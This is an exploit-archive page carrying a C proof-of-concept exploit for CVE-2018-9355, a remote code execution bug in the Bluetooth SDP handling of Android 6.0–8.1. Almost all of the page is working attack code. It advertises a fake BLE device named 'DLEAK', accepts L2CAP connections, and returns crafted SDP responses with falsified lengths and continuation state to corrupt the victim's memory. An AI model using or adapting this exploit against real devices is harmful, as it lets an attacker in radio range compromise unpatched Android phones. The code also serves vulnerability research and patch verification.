Android 6.0-8.1 Bluetooth Remote Code Execution PoC

2018.06.06
ru movaxbx (RU) ru
Risk: High
Local: Yes
Remote: Yes
CWE: N/A

/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * */ /** CVE-2018-9355 * https://source.android.com/security/bulletin/2018-06-01 */ #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <stdbool.h> #include <sys/stat.h> #include <sys/un.h> #include <pthread.h> #include <bluetooth/bluetooth.h> #include <bluetooth/sdp.h> #include <bluetooth/l2cap.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #define EIR_FLAGS 0x01 /* flags */ #define EIR_NAME_COMPLETE 0x09 /* complete local name */ #define EIR_LIM_DISC 0x01 /* LE Limited Discoverable Mode */ #define EIR_GEN_DISC 0x02 /* LE General Discoverable Mode */ #define DATA_ELE_SEQ_DESC_TYPE 6 #define UINT_DESC_TYPE 1 #define SIZE_SIXTEEN_BYTES 4 #define SIZE_EIGHT_BYTES 3 #define SIZE_FOUR_BYTES 2 #define SIZE_TWO_BYTES 1 #define SIZE_ONE_BYTE 0 #define SIZE_IN_NEXT_WORD 6 #define TWO_COMP_INT_DESC_TYPE 2 #define UUID_DESC_TYPE 3 #define ATTR_ID_SERVICE_ID 0x0003 static int count = 0; static int do_continuation; static int init_server(uint16_t mtu) { struct l2cap_options opts; struct sockaddr_l2 l2addr; socklen_t optlen; int l2cap_sock; /* Create L2CAP socket */ l2cap_sock = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (l2cap_sock < 0) { printf("opening L2CAP socket: %s", strerror(errno)); return -1; } memset(&l2addr, 0, sizeof(l2addr)); l2addr.l2_family = AF_BLUETOOTH; bacpy(&l2addr.l2_bdaddr, BDADDR_ANY); l2addr.l2_psm = htobs(SDP_PSM); if (bind(l2cap_sock, (struct sockaddr *) &l2addr, sizeof(l2addr)) < 0) { printf("binding L2CAP socket: %s", strerror(errno)); return -1; } int opt = L2CAP_LM_MASTER; if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_LM, &opt, sizeof(opt)) < 0) { printf("setsockopt: %s", strerror(errno)); return -1; } memset(&opts, 0, sizeof(opts)); optlen = sizeof(opts); if (getsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, &optlen) < 0) { printf("getsockopt: %s", strerror(errno)); return -1; } opts.omtu = mtu; opts.imtu = mtu; if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts)) < 0) { printf("setsockopt: %s", strerror(errno)); return -1; } if (listen(l2cap_sock, 5) < 0) { printf("listen: %s", strerror(errno)); return -1; } return l2cap_sock; } static int process_service_search_req(uint8_t *pkt) { uint8_t *start = pkt; uint8_t *lenloc = pkt; /* Total Handles */ bt_put_be16(400, pkt); pkt += 2; bt_put_be16(400, pkt); pkt += 2; /* and that's it! */ /* TODO: Can we do some heap grooming to make sure we don't get a continuation? */ //bt_put_be16((pkt - start) - 2, lenloc); return pkt - start; } static uint8_t *place_uid(uint8_t *pkt, int o) { int i; for (i = 0; i < 16; i++) *pkt++ = 0x16 + (i + o); return pkt; } static size_t flood_u128s(uint8_t *pkt) { int i; uint8_t *start = pkt; uint8_t *lenloc = pkt; size_t retsize = 0; bt_put_be16(9, pkt);pkt += 2; if (do_continuation == 1) { *pkt = DATA_ELE_SEQ_DESC_TYPE << 3; *pkt |= SIZE_IN_NEXT_WORD; pkt++; start = pkt; pkt += 2; } //*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES; //pkt++; for (i = 0; i < 31; i++) { *pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES; pkt++; *pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;; pkt++; /* Attr ID */ bt_put_be16(ATTR_ID_SERVICE_ID, pkt); pkt += 2; *pkt = (UUID_DESC_TYPE << 3) | SIZE_SIXTEEN_BYTES; pkt++; pkt = place_uid(pkt, i); } /* Set the continuation */ if (do_continuation) { bt_put_be16(654, lenloc); bt_put_be16(651 * 2, start); *pkt = 1; retsize = 658; } else { bt_put_be16(651, lenloc); //bt_put_be16(648, start); *pkt = 0; retsize = 654; } // bt_put_be16((pkt - lenloc) + 10, lenloc); // bt_put_be16((pkt - start) + 10, start); printf("%s: size is pkt - lenloc %zu and pkt is 0x%02x\n", __func__, pkt - lenloc, *pkt); pkt++; return retsize; } static size_t do_fake_svcsar(uint8_t *pkt) { int i; uint8_t *start = pkt; uint8_t *lenloc = pkt; /* Id and length -- ignored in the code */ //bt_put_be16(0, pkt);pkt += 2; //bt_put_be16(0xABCD, pkt);pkt += 2; /* list byte count */ bt_put_be16(9, pkt);pkt += 2; *pkt = DATA_ELE_SEQ_DESC_TYPE << 3; *pkt |= SIZE_EIGHT_BYTES; pkt++; *pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES; pkt++; *pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;; pkt++; /* Attr ID */ bt_put_be16(0x0100, pkt); pkt += 2; *pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES; pkt++; *pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES; pkt++; /* Set the continuation */ if (do_continuation) *pkt = 1; else *pkt = 1; pkt++; /* Place the size... */ //bt_put_be16((pkt - start) - 2, lenloc); printf("%zu\n", pkt-start); return (size_t) (pkt - start); } static void process_request(uint8_t *buf, int fd) { sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *) buf; sdp_pdu_hdr_t *rsphdr; uint8_t *rsp = malloc(65535); int status = SDP_INVALID_SYNTAX; int send_size = 0; memset(rsp, 0, 65535); rsphdr = (sdp_pdu_hdr_t *)rsp; rsphdr->tid = reqhdr->tid; switch (reqhdr->pdu_id) { case SDP_SVC_SEARCH_REQ: printf("Got a svc srch req\n"); send_size = process_service_search_req(rsp + sizeof(sdp_pdu_hdr_t)); rsphdr->pdu_id = SDP_SVC_SEARCH_RSP; rsphdr->plen = htons(send_size); break; case SDP_SVC_ATTR_REQ: printf("Got a svc attr req\n"); //status = service_attr_req(req, &rsp); rsphdr->pdu_id = SDP_SVC_ATTR_RSP; break; case SDP_SVC_SEARCH_ATTR_REQ: printf("Got a svc srch attr req\n"); //status = service_search_attr_req(req, &rsp); rsphdr->pdu_id = SDP_SVC_SEARCH_ATTR_RSP; send_size = flood_u128s(rsp + sizeof(sdp_pdu_hdr_t)); //do_fake_svcsar(rsp + sizeof(sdp_pdu_hdr_t)) + 3; rsphdr->plen = htons(send_size); break; default: printf("Unknown PDU ID : 0x%x received", reqhdr->pdu_id); status = SDP_INVALID_SYNTAX; break; } printf("%s: sending %zu\n", __func__, send_size + sizeof(sdp_pdu_hdr_t)); send(fd, rsp, send_size + sizeof(sdp_pdu_hdr_t), 0); free(rsp); } static void *l2cap_data_thread(void *input) { int fd = *(int *)input; sdp_pdu_hdr_t hdr; uint8_t *buf; int len, size; while (true) { len = recv(fd, &hdr, sizeof(sdp_pdu_hdr_t), MSG_PEEK); if (len < 0 || (unsigned int) len < sizeof(sdp_pdu_hdr_t)) { continue; } size = sizeof(sdp_pdu_hdr_t) + ntohs(hdr.plen); buf = malloc(size); if (!buf) continue; printf("%s: trying to recv %d\n", __func__, size); len = recv(fd, buf, size, 0); if (len <= 0) { free(buf); continue; } if (!count) { process_request(buf, fd); count ++; } if (count >= 1) { do_continuation = 0; process_request(buf, fd); count++; } free(buf); } } /* derived from hciconfig.c */ static void *advertiser(void *unused) { uint8_t status; int device_id, handle; struct hci_request req = { 0 }; le_set_advertise_enable_cp acp = { 0 }; le_set_advertising_parameters_cp avc = { 0 }; le_set_advertising_data_cp data = { 0 }; device_id = hci_get_route(NULL); if (device_id < 0) { printf("%s: Failed to get route: %s\n", __func__, strerror(errno)); return NULL; } handle = hci_open_dev(hci_get_route(NULL)); if (handle < 0) { printf("%s: Failed to open and aquire handle: %s\n", __func__, strerror(errno)); return NULL; } avc.min_interval = avc.max_interval = htobs(150); avc.chan_map = 7; req.ogf = OGF_LE_CTL; req.ocf = OCF_LE_SET_ADVERTISING_PARAMETERS; req.cparam = &avc; req.clen = LE_SET_ADVERTISING_PARAMETERS_CP_SIZE; req.rparam = &status; req.rlen = 1; if (hci_send_req(handle, &req, 1000) < 0) { hci_close_dev(handle); printf("%s: Failed to send request %s\n", __func__, strerror(errno)); return NULL; } memset(&req, 0, sizeof(req)); req.ogf = OGF_LE_CTL; req.ocf = OCF_LE_SET_ADVERTISE_ENABLE; req.cparam = &acp; req.clen = LE_SET_ADVERTISE_ENABLE_CP_SIZE; req.rparam = &status; req.rlen = 1; data.data[0] = htobs(2); data.data[1] = htobs(EIR_FLAGS); data.data[2] = htobs(EIR_GEN_DISC | EIR_LIM_DISC); data.data[3] = htobs(6); data.data[4] = htobs(EIR_NAME_COMPLETE); data.data[5] = 'D'; data.data[6] = 'L'; data.data[7] = 'E'; data.data[8] = 'A'; data.data[9] = 'K'; data.length = 10; memset(&req, 0, sizeof(req)); req.ogf = OGF_LE_CTL; req.ocf = OCF_LE_SET_ADVERTISING_DATA; req.cparam = &data; req.clen = LE_SET_ADVERTISING_DATA_CP_SIZE; req.rparam = &status; req.rlen = 1; if (hci_send_req(handle, &req, 1000) < 0) { hci_close_dev(handle); printf("%s: Failed to send request %s\n", __func__, strerror(errno)); return NULL; } printf("Device should be advertising under DLEAK\n"); } int main(int argc, char **argv) { pthread_t *io_channel; pthread_t adv; int fds[16]; const int io_chans = 16; struct sockaddr_l2 addr; socklen_t qlen = sizeof(addr); socklen_t len = sizeof(addr); int l2cap_sock; int i; pthread_create(&adv, NULL, advertiser, NULL); l2cap_sock = init_server(652); if (l2cap_sock < 0) return EXIT_FAILURE; io_channel = malloc(io_chans * sizeof(*io_channel)); if (!io_channel) return EXIT_FAILURE; do_continuation = 1; for (i = 0; i < io_chans; i++) { printf("%s: Going to accept on io chan %d\n", __func__, i); fds[i] = accept(l2cap_sock, (struct sockaddr *) &addr, &len); if (fds[i] < 0) { i--; printf("%s: Accept failed with %s\n", __func__, strerror(errno)); continue; } printf("%s: accepted\n", __func__); pthread_create(&io_channel[i], NULL, l2cap_data_thread, &fds[i]); } }

References:

https://movaxbx.ru/2018/06/06/poc-for-android-bluetooth-bug-cve-2018-9355/


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top